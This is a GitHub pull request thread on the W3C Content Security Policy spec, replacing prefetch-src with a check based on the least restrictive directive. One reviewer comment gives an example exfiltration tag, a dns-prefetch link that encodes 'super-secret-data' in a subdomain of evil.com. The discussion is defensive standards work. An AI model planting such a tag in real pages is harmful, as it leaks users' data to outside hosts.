Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use "least restrictive" directive instead of prefetch-src #582

Merged
merged 8 commits into from
Jan 10, 2023

Conversation

noamr
Copy link
Contributor

@noamr noamr commented Dec 19, 2022

When prefetching a resource (or preconnecting to an origin), the destination of the request is unknown and also not important.

e.g. if this resource is a script and would be disallowed by script-src, the directive would be invoked again when the response is about to be consumed and would be rejected then.

The only security measure valid for prefetch/preconnect is to avoid exfiltration - i.e. block the request when the default directive blocks this URL and no other directive allows it.

Closes #542

When prefetching a resource (or preconnecting to an origin),
the destination of the request is unknown and also not important.

e.g. if this resource is a script and would be disallowed by
`script-src`, the directive would be invoked again when the
response is about to be consumed and would be rejected then.

The only security measure valid for prefetch/preconnect is to
avoid exfiltration - i.e. block the request when the default
directive blocks this URL and no other directive allows it.

Closes w3c#542
Copy link
Member

@mikewest mikewest left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like a reasonable direction to me. I'd like to find a way to include DNS prefetch / preconnect as well. Perhaps we can hand-wave at that in a security considerations section, since I don't think the fetch hooks exist at the moment?

@@ -2703,74 +2701,6 @@ this algorithm returns normally if compilation is allowed, and throws a

4. Return "`Allowed`".

<h4 id="directive-prefetch-src">`prefetch-src`</h4>
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

index.bs Show resolved Hide resolved
@noamr
Copy link
Contributor Author

noamr commented Dec 19, 2022

This seems like a reasonable direction to me. I'd like to find a way to include DNS prefetch / preconnect as well. Perhaps we can hand-wave at that in a security considerations section, since I don't think the fetch hooks exist at the moment?

I will add a non-handwavy thing for preconnect in fetch, no need to handwave. Probably create a "fake" request just for the purpose of checking it against the policy.

I don't know if dns-prefetch needs this, as doing a DNS check is not really exfiltration (or is it?)
I think once we specify dns-prefetch we can make this happen. Right now that rel is handwavy to begin with...

@mikewest
Copy link
Member

dns-prefetch is certainly an exfiltration mechanism as <link rel="dns-prefetch" href="https://super-secret-data.evil.com/" /> ends up at evil.com's resolver.

@noamr
Copy link
Contributor Author

noamr commented Dec 19, 2022

dns-prefetch is certainly an exfiltration mechanism as <link rel="dns-prefetch" href="https://super-secret-data.evil.com/" /> ends up at evil.com's resolver.

OK then.

@annevk
Copy link
Member

annevk commented Dec 21, 2022

(Defining dns-prefetch is fairly straightforward nowadays given that https://fetch.spec.whatwg.org/#resolve-an-origin exists.)

@noamr
Copy link
Contributor Author

noamr commented Dec 21, 2022

(Defining dns-prefetch is fairly straightforward nowadays given that https://fetch.spec.whatwg.org/#resolve-an-origin exists.)

Totally, it's on my list after we finish prefetch.

Copy link
Member

@mikewest mikewest left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

index.bs Outdated Show resolved Hide resolved
index.bs Outdated Show resolved Hide resolved
index.bs Outdated Show resolved Hide resolved
index.bs Outdated Show resolved Hide resolved
index.bs Outdated Show resolved Hide resolved
index.bs Outdated Show resolved Hide resolved
noamr and others added 6 commits December 22, 2022 10:17
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
@noamr
Copy link
Contributor Author

noamr commented Dec 22, 2022

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

Waiting for a response from Mozilla folks to this Standards position comment, and for Apple's position on some of the details.

I wanted to reach a bit of consensus before proceeding to the tests, but perhaps this is a good time.

noamr added a commit to web-platform-tests/wpt that referenced this pull request Jan 1, 2023
Instead of relying on `prefetch-src`, we rely on the least
restrictive directive in the policy.

Tests w3c/webappsec-csp#582
@noamr
Copy link
Contributor Author

noamr commented Jan 1, 2023

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

Tests: web-platform-tests/wpt#37715

Copy link
Member

@mikewest mikewest left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, @noamr. I'm happy with this PR based on the tests you linked and WebKit's apparent approval in WebKit/standards-positions#114 (comment).

You'll need to join WebAppSec to make the IPR bot happy. Perhaps you can take care of that before I land this?

@noamr noamr closed this Jan 10, 2023
@noamr noamr reopened this Jan 10, 2023
@noamr
Copy link
Contributor Author

noamr commented Jan 10, 2023

Thanks, @noamr. I'm happy with this PR based on the tests you linked and WebKit's apparent approval in WebKit/standards-positions#114 (comment).

You'll need to join WebAppSec to make the IPR bot happy. Perhaps you can take care of that before I land this?

Done

@mikewest mikewest merged commit 54ae572 into w3c:main Jan 10, 2023
github-actions bot added a commit that referenced this pull request Jan 10, 2023
SHA: 54ae572
Reason: push, by mikewest

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
annevk pushed a commit to whatwg/fetch that referenced this pull request Jan 25, 2023
sideshowbarker added a commit to mdn/browser-compat-data that referenced this pull request Apr 17, 2023
w3c/webappsec-csp#582 dropped prefetch-src from
the CSP spec.
sideshowbarker added a commit to mdn/browser-compat-data that referenced this pull request Apr 17, 2023
w3c/webappsec-csp#582 dropped prefetch-src from
the CSP spec.
Elchi3 pushed a commit to mdn/browser-compat-data that referenced this pull request Apr 17, 2023
w3c/webappsec-csp#582 dropped prefetch-src from
the CSP spec.
bc-universe added a commit to bc-universe/rust-content-security-policy that referenced this pull request Feb 12, 2024
As per w3c/webappsec-csp#582, prefetch-src has now been deprecated.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Consider relaxing prefetch-src and preload as
3 participants